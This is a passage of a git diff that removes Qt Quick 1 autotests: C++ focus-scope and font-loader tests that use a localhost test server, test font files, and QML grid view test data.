- QTest::qWaitForWindowShown(view); - - QTRY_VERIFY(view->hasFocus()); - QVERIFY(view->scene()->hasFocus()); - QVERIFY(item0->hasActiveFocus() == true); - QVERIFY(item1->hasActiveFocus() == true); - QVERIFY(item2->hasActiveFocus() == false); - QVERIFY(item3->hasActiveFocus() == false); - - QTest::keyClick(view, Qt::Key_Right); - QVERIFY(item0->hasActiveFocus() == true); - QVERIFY(item1->hasActiveFocus() == true); - QVERIFY(item2->hasActiveFocus() == false); - QVERIFY(item3->hasActiveFocus() == false); - - QTest::keyClick(view, Qt::Key_Right); - QTest::keyClick(view, Qt::Key_Right); - QTest::keyClick(view, Qt::Key_Right); - QTest::keyClick(view, Qt::Key_Right); - QTest::keyClick(view, Qt::Key_Right); - QVERIFY(item0->hasActiveFocus() == true); - QVERIFY(item1->hasActiveFocus() == false); - QVERIFY(item2->hasActiveFocus() == true); - QVERIFY(item3->hasActiveFocus() == false); - - QTest::keyClick(view, Qt::Key_Down); - QVERIFY(item0->hasActiveFocus() == false); - QVERIFY(item1->hasActiveFocus() == false); - QVERIFY(item2->hasActiveFocus() == false); - QVERIFY(item3->hasActiveFocus() == true); - - delete view; -} - -void tst_qdeclarativefocusscope::forceFocus() -{ - QDeclarativeView *view = new QDeclarativeView; - view->setSource(QUrl::fromLocalFile(SRCDIR "/data/forcefocus.qml")); - - QDeclarative1FocusScope *item0 = findItem(view->rootObject(), QLatin1String("item0")); - QDeclarative1Rectangle *item1 = findItem(view->rootObject(), QLatin1String("item1")); - QDeclarative1Rectangle *item2 = findItem(view->rootObject(), QLatin1String("item2")); - QDeclarative1FocusScope *item3 = findItem(view->rootObject(), QLatin1String("item3")); - QDeclarative1Rectangle *item4 = findItem(view->rootObject(), QLatin1String("item4")); - QDeclarative1Rectangle *item5 = findItem(view->rootObject(), QLatin1String("item5")); - QVERIFY(item0 != 0); - QVERIFY(item1 != 0); - QVERIFY(item2 != 0); - QVERIFY(item3 != 0); - QVERIFY(item4 != 0); - QVERIFY(item5 != 0); - - view->show(); - qApp->setActiveWindow(view); - - QTest::qWaitForWindowShown(view); - - QTRY_VERIFY(view->hasFocus()); - QVERIFY(view->scene()->hasFocus()); - QVERIFY(item0->hasActiveFocus() == true); - QVERIFY(item1->hasActiveFocus() == true); - QVERIFY(item2->hasActiveFocus() == false); - QVERIFY(item3->hasActiveFocus() == false); - QVERIFY(item4->hasActiveFocus() == false); - QVERIFY(item5->hasActiveFocus() == false); - - QTest::keyClick(view, Qt::Key_4); - QVERIFY(item0->hasActiveFocus() == true); - QVERIFY(item1->hasActiveFocus() == true); - QVERIFY(item2->hasActiveFocus() == false); - QVERIFY(item3->hasActiveFocus() == false); - QVERIFY(item4->hasActiveFocus() == false); - QVERIFY(item5->hasActiveFocus() == false); - - QTest::keyClick(view, Qt::Key_5); - QVERIFY(item0->hasActiveFocus() == false); - QVERIFY(item1->hasActiveFocus() == false); - QVERIFY(item2->hasActiveFocus() == false); - QVERIFY(item3->hasActiveFocus() == true); - QVERIFY(item4->hasActiveFocus() == false); - QVERIFY(item5->hasActiveFocus() == true); - - delete view; -} - -void tst_qdeclarativefocusscope::noParentFocus() -{ - QDeclarativeView *view = new QDeclarativeView; - view->setSource(QUrl::fromLocalFile(SRCDIR "/data/chain.qml")); - QVERIFY(view->rootObject()); - - QVERIFY(view->rootObject()->property("focus1") == false); - QVERIFY(view->rootObject()->property("focus2") == false); - QVERIFY(view->rootObject()->property("focus3") == true); - QVERIFY(view->rootObject()->property("focus4") == true); - QVERIFY(view->rootObject()->property("focus5") == true); - - delete view; -} - -void tst_qdeclarativefocusscope::signalEmission() -{ - QDeclarativeView *view = new QDeclarativeView; - view->setSource(QUrl::fromLocalFile(SRCDIR "/data/signalEmission.qml")); - - QDeclarative1Rectangle *item1 = findItem(view->rootObject(), QLatin1String("item1")); - QDeclarative1Rectangle *item2 = findItem(view->rootObject(), QLatin1String("item2")); - QDeclarative1Rectangle *item3 = findItem(view->rootObject(), QLatin1String("item3")); - QDeclarative1Rectangle *item4 = findItem(view->rootObject(), QLatin1String("item4")); - QVERIFY(item1 != 0); - QVERIFY(item2 != 0); - QVERIFY(item3 != 0); - QVERIFY(item4 != 0); - - view->show(); - qApp->setActiveWindow(view); - - QTest::qWaitForWindowShown(view); - - QVariant blue(QColor("blue")); - QVariant red(QColor("red")); - - QTRY_VERIFY(view->hasFocus()); - QVERIFY(view->scene()->hasFocus()); - item1->setFocus(true); - QCOMPARE(item1->property("color"), red); - QCOMPARE(item2->property("color"), blue); - QCOMPARE(item3->property("color"), blue); - QCOMPARE(item4->property("color"), blue); - - item2->setFocus(true); - QCOMPARE(item1->property("color"), blue); - QCOMPARE(item2->property("color"), red); - QCOMPARE(item3->property("color"), blue); - QCOMPARE(item4->property("color"), blue); - - item3->setFocus(true); - QCOMPARE(item1->property("color"), blue); - QCOMPARE(item2->property("color"), red); - QCOMPARE(item3->property("color"), red); - QCOMPARE(item4->property("color"), blue); - - item4->setFocus(true); - QCOMPARE(item1->property("color"), blue); - QCOMPARE(item2->property("color"), red); - QCOMPARE(item3->property("color"), blue); - QCOMPARE(item4->property("color"), red); - - item4->setFocus(false); - QCOMPARE(item1->property("color"), blue); - QCOMPARE(item2->property("color"), red); - QCOMPARE(item3->property("color"), blue); - QCOMPARE(item4->property("color"), blue); - - delete view; -} - -void tst_qdeclarativefocusscope::qtBug13380() -{ - QDeclarativeView *view = new QDeclarativeView; - view->setSource(QUrl::fromLocalFile(SRCDIR "/data/qtBug13380.qml")); - - view->show(); - QVERIFY(view->rootObject()); - qApp->setActiveWindow(view); - - QTest::qWaitForWindowShown(view); - - QTRY_VERIFY(view->hasFocus()); - QVERIFY(view->scene()->hasFocus()); - QVERIFY(view->rootObject()->property("noFocus").toBool()); - - view->rootObject()->setProperty("showRect", true); - QVERIFY(view->rootObject()->property("noFocus").toBool()); - - delete view; -} - -void tst_qdeclarativefocusscope::forceActiveFocus() -{ - QDeclarativeView *view = new QDeclarativeView; - view->setSource(QUrl::fromLocalFile(SRCDIR "/data/forceActiveFocus.qml")); - - QGraphicsObject *rootObject = view->rootObject(); - QVERIFY(rootObject); - - QDeclarativeItem *scope = findItem(rootObject, QLatin1String("scope")); - QDeclarativeItem *itemA1 = findItem(rootObject, QLatin1String("item-a1")); - QDeclarativeItem *scopeA = findItem(rootObject, QLatin1String("scope-a")); - QDeclarativeItem *itemA2 = findItem(rootObject, QLatin1String("item-a2")); - QDeclarativeItem *itemB1 = findItem(rootObject, QLatin1String("item-b1")); - QDeclarativeItem *scopeB = findItem(rootObject, QLatin1String("scope-b")); - QDeclarativeItem *itemB2 = findItem(rootObject, QLatin1String("item-b2")); - - QVERIFY(scope); - QVERIFY(itemA1); - QVERIFY(scopeA); - QVERIFY(itemA2); - QVERIFY(itemB1); - QVERIFY(scopeB); - QVERIFY(itemB2); - - QSignalSpy rootSpy(rootObject, SIGNAL(activeFocusChanged(bool))); - QSignalSpy scopeSpy(scope, SIGNAL(activeFocusChanged(bool))); - QSignalSpy scopeASpy(scopeA, SIGNAL(activeFocusChanged(bool))); - QSignalSpy scopeBSpy(scopeB, SIGNAL(activeFocusChanged(bool))); - - // First, walk the focus from item-a1 down to item-a2 and back again - itemA1->forceActiveFocus(); - QVERIFY(itemA1->hasActiveFocus()); - QCOMPARE(rootSpy.count(), 1); - QCOMPARE(scopeSpy.count(), 1); - - scopeA->forceActiveFocus(); - QVERIFY(!itemA1->hasActiveFocus()); - QVERIFY(scopeA->hasActiveFocus()); - QCOMPARE(scopeASpy.count(), 1); - QCOMPARE(rootSpy.count(), 1); - QCOMPARE(scopeSpy.count(), 1); - - itemA2->forceActiveFocus(); - QVERIFY(!itemA1->hasActiveFocus()); - QVERIFY(itemA2->hasActiveFocus()); - QVERIFY(scopeA->hasActiveFocus()); - QCOMPARE(scopeASpy.count(), 1); - QCOMPARE(rootSpy.count(), 1); - QCOMPARE(scopeSpy.count(), 1); - - scopeA->forceActiveFocus(); - QVERIFY(!itemA1->hasActiveFocus()); - QVERIFY(itemA2->hasActiveFocus()); - QVERIFY(scopeA->hasActiveFocus()); - QCOMPARE(scopeASpy.count(), 1); - QCOMPARE(rootSpy.count(), 1); - QCOMPARE(scopeSpy.count(), 1); - - itemA1->forceActiveFocus(); - QVERIFY(itemA1->hasActiveFocus()); - QVERIFY(!scopeA->hasActiveFocus()); - QVERIFY(!itemA2->hasActiveFocus()); - QCOMPARE(scopeASpy.count(), 2); - QCOMPARE(rootSpy.count(), 1); - QCOMPARE(scopeSpy.count(), 1); - - // Then jump back and forth between branch 'a' and 'b' - itemB1->forceActiveFocus(); - QVERIFY(itemB1->hasActiveFocus()); - QCOMPARE(rootSpy.count(), 1); - QCOMPARE(scopeSpy.count(), 1); - - scopeA->forceActiveFocus(); - QVERIFY(!itemA1->hasActiveFocus()); - QVERIFY(!itemB1->hasActiveFocus()); - QVERIFY(scopeA->hasActiveFocus()); - QCOMPARE(scopeASpy.count(), 3); - QCOMPARE(rootSpy.count(), 1); - QCOMPARE(scopeSpy.count(), 1); - - scopeB->forceActiveFocus(); - QVERIFY(!scopeA->hasActiveFocus()); - QVERIFY(!itemB1->hasActiveFocus()); - QVERIFY(scopeB->hasActiveFocus()); - QCOMPARE(scopeASpy.count(), 4); - QCOMPARE(scopeBSpy.count(), 1); - QCOMPARE(rootSpy.count(), 1); - QCOMPARE(scopeSpy.count(), 1); - - itemA2->forceActiveFocus(); - QVERIFY(!scopeB->hasActiveFocus()); - QVERIFY(itemA2->hasActiveFocus()); - QCOMPARE(scopeASpy.count(), 5); - QCOMPARE(scopeBSpy.count(), 2); - QCOMPARE(rootSpy.count(), 1); - QCOMPARE(scopeSpy.count(), 1); - - itemB2->forceActiveFocus(); - QVERIFY(!itemA2->hasActiveFocus()); - QVERIFY(itemB2->hasActiveFocus()); - QCOMPARE(scopeASpy.count(), 6); - QCOMPARE(scopeBSpy.count(), 3); - QCOMPARE(rootSpy.count(), 1); - QCOMPARE(scopeSpy.count(), 1); - - delete view; -} - -QTEST_MAIN(tst_qdeclarativefocusscope) - -#include "tst_qdeclarativefocusscope.moc" diff --git a/tests/auto/qtquick1/qdeclarativefontloader/data/daniel.ttf b/tests/auto/qtquick1/qdeclarativefontloader/data/daniel.ttf deleted file mode 100644 index aae50d5035..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativefontloader/data/daniel.ttf and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativefontloader/data/dummy.ttf b/tests/auto/qtquick1/qdeclarativefontloader/data/dummy.ttf deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/tests/auto/qtquick1/qdeclarativefontloader/data/tarzeau_ocr_a.ttf b/tests/auto/qtquick1/qdeclarativefontloader/data/tarzeau_ocr_a.ttf deleted file mode 100644 index cf93f9651f..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativefontloader/data/tarzeau_ocr_a.ttf and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativefontloader/qdeclarativefontloader.pro b/tests/auto/qtquick1/qdeclarativefontloader/qdeclarativefontloader.pro deleted file mode 100644 index fbe72b072c..0000000000 --- a/tests/auto/qtquick1/qdeclarativefontloader/qdeclarativefontloader.pro +++ /dev/null @@ -1,12 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativefontloader -macx:CONFIG -= app_bundle - -HEADERS += ../../shared/testhttpserver.h -SOURCES += tst_qdeclarativefontloader.cpp ../../shared/testhttpserver.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private declarative-private qtquick1-private network testlib diff --git a/tests/auto/qtquick1/qdeclarativefontloader/tst_qdeclarativefontloader.cpp b/tests/auto/qtquick1/qdeclarativefontloader/tst_qdeclarativefontloader.cpp deleted file mode 100644 index ed973525fe..0000000000 --- a/tests/auto/qtquick1/qdeclarativefontloader/tst_qdeclarativefontloader.cpp +++ /dev/null @@ -1,224 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include "../../shared/testhttpserver.h" - -#define SERVER_PORT 14448 - -class tst_qdeclarativefontloader : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativefontloader(); - -private slots: - void init(); - void noFont(); - void namedFont(); - void localFont(); - void failLocalFont(); - void webFont(); - void redirWebFont(); - void failWebFont(); - void changeFont(); - -private: - QDeclarativeEngine engine; - TestHTTPServer server; -}; - -tst_qdeclarativefontloader::tst_qdeclarativefontloader() : - server(SERVER_PORT) -{ - server.serveDirectory(SRCDIR "/data"); -} - -void tst_qdeclarativefontloader::init() -{ - QVERIFY(server.isValid()); -} - -void tst_qdeclarativefontloader::noFont() -{ - QString componentStr = "import QtQuick 1.0\nFontLoader { }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1FontLoader *fontObject = qobject_cast(component.create()); - - QVERIFY(fontObject != 0); - QCOMPARE(fontObject->name(), QString("")); - QCOMPARE(fontObject->source(), QUrl("")); - QTRY_VERIFY(fontObject->status() == QDeclarative1FontLoader::Null); - - delete fontObject; -} - -void tst_qdeclarativefontloader::namedFont() -{ - QString componentStr = "import QtQuick 1.0\nFontLoader { name: \"Helvetica\" }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1FontLoader *fontObject = qobject_cast(component.create()); - - QVERIFY(fontObject != 0); - QCOMPARE(fontObject->source(), QUrl("")); - QCOMPARE(fontObject->name(), QString("Helvetica")); - QTRY_VERIFY(fontObject->status() == QDeclarative1FontLoader::Ready); -} - -void tst_qdeclarativefontloader::localFont() -{ - QString componentStr = "import QtQuick 1.0\nFontLoader { source: \"" SRCDIR "/data/tarzeau_ocr_a.ttf\" }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1FontLoader *fontObject = qobject_cast(component.create()); - - QVERIFY(fontObject != 0); - QVERIFY(fontObject->source() != QUrl("")); - QTRY_COMPARE(fontObject->name(), QString("OCRA")); - QTRY_VERIFY(fontObject->status() == QDeclarative1FontLoader::Ready); -} - -void tst_qdeclarativefontloader::failLocalFont() -{ - QString componentStr = "import QtQuick 1.0\nFontLoader { source: \"" + QUrl::fromLocalFile(SRCDIR "/data/dummy.ttf").toString() + "\" }"; - QTest::ignoreMessage(QtWarningMsg, QString("file::2:1: QML FontLoader: Cannot load font: \"" + QUrl::fromLocalFile(SRCDIR "/data/dummy.ttf").toString() + "\"").toUtf8().constData()); - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1FontLoader *fontObject = qobject_cast(component.create()); - - QVERIFY(fontObject != 0); - QVERIFY(fontObject->source() != QUrl("")); - QTRY_COMPARE(fontObject->name(), QString("")); - QTRY_VERIFY(fontObject->status() == QDeclarative1FontLoader::Error); -} - -void tst_qdeclarativefontloader::webFont() -{ - QString componentStr = "import QtQuick 1.0\nFontLoader { source: \"http://localhost:14448/tarzeau_ocr_a.ttf\" }"; - QDeclarativeComponent component(&engine); - - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1FontLoader *fontObject = qobject_cast(component.create()); - - QVERIFY(fontObject != 0); - QVERIFY(fontObject->source() != QUrl("")); - QTRY_COMPARE(fontObject->name(), QString("OCRA")); - QTRY_VERIFY(fontObject->status() == QDeclarative1FontLoader::Ready); -} - -void tst_qdeclarativefontloader::redirWebFont() -{ - server.addRedirect("olddir/oldname.ttf","../tarzeau_ocr_a.ttf"); - - QString componentStr = "import QtQuick 1.0\nFontLoader { source: \"http://localhost:14448/olddir/oldname.ttf\" }"; - QDeclarativeComponent component(&engine); - - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1FontLoader *fontObject = qobject_cast(component.create()); - - QVERIFY(fontObject != 0); - QVERIFY(fontObject->source() != QUrl("")); - QTRY_COMPARE(fontObject->name(), QString("OCRA")); - QTRY_VERIFY(fontObject->status() == QDeclarative1FontLoader::Ready); -} - -void tst_qdeclarativefontloader::failWebFont() -{ - QString componentStr = "import QtQuick 1.0\nFontLoader { source: \"http://localhost:14448/nonexist.ttf\" }"; - QTest::ignoreMessage(QtWarningMsg, "file::2:1: QML FontLoader: Cannot load font: \"http://localhost:14448/nonexist.ttf\""); - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1FontLoader *fontObject = qobject_cast(component.create()); - - QVERIFY(fontObject != 0); - QVERIFY(fontObject->source() != QUrl("")); - QTRY_COMPARE(fontObject->name(), QString("")); - QTRY_VERIFY(fontObject->status() == QDeclarative1FontLoader::Error); -} - -void tst_qdeclarativefontloader::changeFont() -{ - QString componentStr = "import QtQuick 1.0\nFontLoader { source: font }"; - QDeclarativeContext *ctxt = engine.rootContext(); - ctxt->setContextProperty("font", QUrl::fromLocalFile(SRCDIR "/data/tarzeau_ocr_a.ttf")); - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1FontLoader *fontObject = qobject_cast(component.create()); - - QVERIFY(fontObject != 0); - - QSignalSpy nameSpy(fontObject, SIGNAL(nameChanged())); - QSignalSpy statusSpy(fontObject, SIGNAL(statusChanged())); - - QTRY_VERIFY(fontObject->status() == QDeclarative1FontLoader::Ready); - QCOMPARE(nameSpy.count(), 0); - QCOMPARE(statusSpy.count(), 0); - QTRY_COMPARE(fontObject->name(), QString("OCRA")); - - ctxt->setContextProperty("font", "http://localhost:14448/daniel.ttf"); - QTRY_VERIFY(fontObject->status() == QDeclarative1FontLoader::Loading); - QTRY_VERIFY(fontObject->status() == QDeclarative1FontLoader::Ready); - QCOMPARE(nameSpy.count(), 1); - QCOMPARE(statusSpy.count(), 2); - QTRY_COMPARE(fontObject->name(), QString("Daniel")); - - ctxt->setContextProperty("font", QUrl::fromLocalFile(SRCDIR "/data/tarzeau_ocr_a.ttf")); - QTRY_VERIFY(fontObject->status() == QDeclarative1FontLoader::Ready); - QCOMPARE(nameSpy.count(), 2); - QCOMPARE(statusSpy.count(), 2); - QTRY_COMPARE(fontObject->name(), QString("OCRA")); - - ctxt->setContextProperty("font", "http://localhost:14448/daniel.ttf"); - QTRY_VERIFY(fontObject->status() == QDeclarative1FontLoader::Ready); - QCOMPARE(nameSpy.count(), 3); - QCOMPARE(statusSpy.count(), 2); - QTRY_COMPARE(fontObject->name(), QString("Daniel")); -} - -QTEST_MAIN(tst_qdeclarativefontloader) - -#include "tst_qdeclarativefontloader.moc" diff --git a/tests/auto/qtquick1/qdeclarativegridview/data/attachedSignals.qml b/tests/auto/qtquick1/qdeclarativegridview/data/attachedSignals.qml deleted file mode 100644 index d527e9d256..0000000000 --- a/tests/auto/qtquick1/qdeclarativegridview/data/attachedSignals.qml +++ /dev/null @@ -1,27 +0,0 @@ -import QtQuick 1.0 - -GridView { - id: view - width: 240; height: 320 - - property variant addedDelegates: [] - property int removedDelegateCount - - model: testModel - - cellWidth: delegateWidth; cellHeight: delegateHeight - - delegate: Rectangle { - width: delegateWidth; height: delegateHeight - border.width: 1 - GridView.onAdd: { - var obj = GridView.view.addedDelegates - obj.push(model.name) - GridView.view.addedDelegates = obj - } - GridView.onRemove: { - view.removedDelegateCount += 1 - } - } -} - diff --git a/tests/auto/qtquick1/qdeclarativegridview/data/displaygrid.qml b/tests/auto/qtquick1/qdeclarativegridview/data/displaygrid.qml deleted file mode 100644 index 93f39ffd96..0000000000 --- a/tests/auto/qtquick1/qdeclarativegridview/data/displaygrid.qml +++ /dev/null @@ -1,39 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 240 - height: 320 - color: "#ffffff" - resources: [ - Component { - id: myDelegate - Rectangle { - id: wrapper - objectName: "wrapper" - width: 80 - height: 60 - border.color: "blue" - Text { - text: index - } - Text { - y: 20 - id: displayText - objectName: "displayText" - text: display - } - color: GridView.isCurrentItem ? "lightsteelblue" : "white" - } - } - ] - GridView { - id: grid - objectName: "grid" - width: 240 - height: 320 - cellWidth: 80 - cellHeight: 60 - model: testModel - delegate: myDelegate - } -} diff --git a/tests/auto/qtquick1/qdeclarativegridview/data/footer.qml b/tests/auto/qtquick1/qdeclarativegridview/data/footer.qml deleted file mode 100644 index b41e2ac0b2..0000000000 --- a/tests/auto/qtquick1/qdeclarativegridview/data/footer.qml +++ /dev/null @@ -1,40 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - function changeFooter() { - grid.footer = footer2 - } - width: 240 - height: 320 - color: "#ffffff" - Component { - id: myDelegate - Rectangle { - id: wrapper - objectName: "wrapper" - width: 80 - height: 60 - border.color: "blue" - Text { - text: index - } - color: GridView.isCurrentItem ? "lightsteelblue" : "white" - } - } - GridView { - id: grid - objectName: "grid" - width: 240 - height: 320 - cellWidth: 80 - cellHeight: 60 - model: testModel - delegate: myDelegate - footer: Text { objectName: "footer"; text: "Footer"; height: 30 } - } - - Component { - id: footer2 - Text { objectName: "footer2"; text: "Footer 2"; height: 20 } - } -} diff --git a/tests/auto/qtquick1/qdeclarativegridview/data/gridview-enforcerange.qml b/tests/auto/qtquick1/qdeclarativegridview/data/gridview-enforcerange.qml deleted file mode 100644 index 69eaa4774c..0000000000 --- a/tests/auto/qtquick1/qdeclarativegridview/data/gridview-enforcerange.qml +++ /dev/null @@ -1,58 +0,0 @@ -import QtQuick 1.1 - -Rectangle { - width: 240 - height: 320 - color: "#ffffff" - Component { - id: myDelegate - Item { - id: wrapper - objectName: "wrapper" - height: 100 - width: 100 - Text { - text: index - } - Text { - y: 25 - id: textName - objectName: "textName" - text: name - } - Text { - y: 50 - id: textNumber - objectName: "textNumber" - text: number - } - Text { - y: 75 - text: wrapper.y - } - } - } - - Component { - id: myHighlight - Rectangle { - color: "lightsteelblue" - } - } - - GridView { - id: grid - objectName: "grid" - width: 240 - height: 320 - model: testModel - delegate: myDelegate - highlight: myHighlight - flow: (testTopToBottom == true) ? GridView.TopToBottom : GridView.LeftToRight - layoutDirection: (testRightToLeft == true) ? Qt.RightToLeft : Qt.LeftToRight - preferredHighlightBegin: 100 - preferredHighlightEnd: 100 - highlightRangeMode: "StrictlyEnforceRange" - focus: true - } -} diff --git a/tests/auto/qtquick1/qdeclarativegridview/data/gridview-initCurrent.qml b/tests/auto/qtquick1/qdeclarativegridview/data/gridview-initCurrent.qml deleted file mode 100644 index 421f810f2c..0000000000 --- a/tests/auto/qtquick1/qdeclarativegridview/data/gridview-initCurrent.qml +++ /dev/null @@ -1,52 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - property int current: grid.currentIndex - width: 240 - height: 320 - color: "#ffffff" - resources: [ - Component { - id: myDelegate - Rectangle { - id: wrapper - objectName: "wrapper" - width: 80 - height: 60 - border.color: "blue" - Text { - text: index - } - Text { - x: 40 - text: wrapper.x + ", " + wrapper.y - } - Text { - y: 20 - id: textName - objectName: "textName" - text: name - } - Text { - y: 40 - id: textNumber - objectName: "textNumber" - text: number - } - color: GridView.isCurrentItem ? "lightsteelblue" : "white" - } - } - ] - GridView { - id: grid - objectName: "grid" - focus: true - width: 240 - height: 320 - currentIndex: 35 - cellWidth: 80 - cellHeight: 60 - delegate: myDelegate - model: testModel - } -} diff --git a/tests/auto/qtquick1/qdeclarativegridview/data/gridview-noCurrent.qml b/tests/auto/qtquick1/qdeclarativegridview/data/gridview-noCurrent.qml deleted file mode 100644 index 1189649ea1..0000000000 --- a/tests/auto/qtquick1/qdeclarativegridview/data/gridview-noCurrent.qml +++ /dev/null @@ -1,52 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - property int current: grid.currentIndex - width: 240 - height: 320 - color: "#ffffff" - resources: [ - Component { - id: myDelegate - Rectangle { - id: wrapper - objectName: "wrapper" - width: 80 - height: 60 - border.color: "blue" - Text { - text: index - } - Text { - x: 40 - text: wrapper.x + ", " + wrapper.y - } - Text { - y: 20 - id: textName - objectName: "textName" - text: name - } - Text { - y: 40 - id: textNumber - objectName: "textNumber" - text: number - } - color: GridView.isCurrentItem ? "lightsteelblue" : "white" - } - } - ] - GridView { - id: grid - objectName: "grid" - focus: true - width: 240 - height: 320 - currentIndex: -1 - cellWidth: 80 - cellHeight: 60 - delegate: myDelegate - model: testModel - } -} diff --git a/tests/auto/qtquick1/qdeclarativegridview/data/gridview1.qml b/tests/auto/qtquick1/qdeclarativegridview/data/gridview1.qml deleted file mode 100644 index a2b0a915d9..0000000000 --- a/tests/auto/qtquick1/qdeclarativegridview/data/gridview1.qml +++ /dev/null @@ -1,66 +0,0 @@ -import QtQuick 1.1 - -Rectangle { - id: root - property int count: grid.count - property bool showHeader: false - property bool showFooter: false - property int added: -1 - property variant removed - - width: 240 - height: 320 - color: "#ffffff" - resources: [ - Component { - id: myDelegate - Rectangle { - id: wrapper - objectName: "wrapper" - width: 80 - height: 60 - border.color: "blue" - Text { - text: index - } - Text { - x: 40 - text: wrapper.x + ", " + wrapper.y - } - Text { - y: 20 - id: textName - objectName: "textName" - text: name - } - Text { - y: 40 - id: textNumber - objectName: "textNumber" - text: number - } - color: GridView.isCurrentItem ? "lightsteelblue" : "white" - GridView.onAdd: root.added = index - GridView.onRemove: root.removed = name - } - }, - Component { - id: headerFooter - Rectangle { width: 30; height: 320; color: "blue" } - } - ] - GridView { - id: grid - objectName: "grid" - width: 240 - height: 320 - cellWidth: 80 - cellHeight: 60 - flow: (testTopToBottom == false) ? GridView.LeftToRight : GridView.TopToBottom - layoutDirection: (testRightToLeft == true) ? Qt.RightToLeft : Qt.LeftToRight - model: testModel - delegate: myDelegate - header: root.showHeader ? headerFooter : null - footer: root.showFooter ? headerFooter : null - } -} diff --git a/tests/auto/qtquick1/qdeclarativegridview/data/gridview2.qml b/tests/auto/qtquick1/qdeclarativegridview/data/gridview2.qml deleted file mode 100644 index 7559a7ff36..0000000000 --- a/tests/auto/qtquick1/qdeclarativegridview/data/gridview2.qml +++ /dev/null @@ -1,26 +0,0 @@ -import QtQuick 1.0 - -GridView { - anchors.fill: parent - width: 320; height: 200 - cellWidth: 100; cellHeight: 100; cacheBuffer: 200; focus: true - keyNavigationWraps: true; highlightFollowsCurrentItem: false - - model: ListModel { - id: appModel - ListElement { lColor: "red" } - ListElement { lColor: "yellow" } - ListElement { lColor: "green" } - ListElement { lColor: "blue" } - } - - delegate: Item { - width: 100; height: 100 - Rectangle { - color: lColor; x: 4; y: 4 - width: 92; height: 92 - } - } - - highlight: Rectangle { width: 100; height: 100; color: "black" } -} diff --git a/tests/auto/qtquick1/qdeclarativegridview/data/gridview3.qml b/tests/auto/qtquick1/qdeclarativegridview/data/gridview3.qml deleted file mode 100644 index ab4ceeb76d..0000000000 --- a/tests/auto/qtquick1/qdeclarativegridview/data/gridview3.qml +++ /dev/null @@ -1,6 +0,0 @@ -import QtQuick 1.0 - -GridView { - anchors.fill: parent - width: 320; height: 200 -} diff --git a/tests/auto/qtquick1/qdeclarativegridview/data/header.qml b/tests/auto/qtquick1/qdeclarativegridview/data/header.qml deleted file mode 100644 index f39da55dda..0000000000 --- a/tests/auto/qtquick1/qdeclarativegridview/data/header.qml +++ /dev/null @@ -1,40 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - function changeHeader() { - grid.header = header2 - } - width: 240 - height: 320 - color: "#ffffff" - Component { - id: myDelegate - Rectangle { - id: wrapper - objectName: "wrapper" - width: 80 - height: 60 - border.color: "blue" - Text { - text: index - } - color: GridView.isCurrentItem ? "lightsteelblue" : "white" - } - } - GridView { - id: grid - objectName: "grid" - width: 240 - height: 320 - cellWidth: 80 - cellHeight: 60 - model: testModel - delegate: myDelegate - header: Text { objectName: "header"; text: "Header"; height: 30 } - } - - Component { - id: header2 - Text { objectName: "header2"; text: "Header 2"; height: 20 } - } -} diff --git a/tests/auto/qtquick1/qdeclarativegridview/data/manual-highlight.qml b/tests/auto/qtquick1/qdeclarativegridview/data/manual-highlight.qml deleted file mode 100644 index d08284792e..0000000000 --- a/tests/auto/qtquick1/qdeclarativegridview/data/manual-highlight.qml +++ /dev/null @@ -1,48 +0,0 @@ -import QtQuick 1.0 - -Item { - - ListModel { - id: model - ListElement { - name: "Bill Smith" - number: "555 3264" - } - ListElement { - name: "John Brown" - number: "555 8426" - } - ListElement { - name: "Sam Wise" - number: "555 0473" - } - ListElement { - name: "Bob Brown" - number: "555 5845" - } - } - - Component { - id: highlight - Rectangle { - objectName: "highlight" - width: 80; height: 80 - color: "lightsteelblue"; radius: 5 - y: grid.currentItem.y+5 - x: 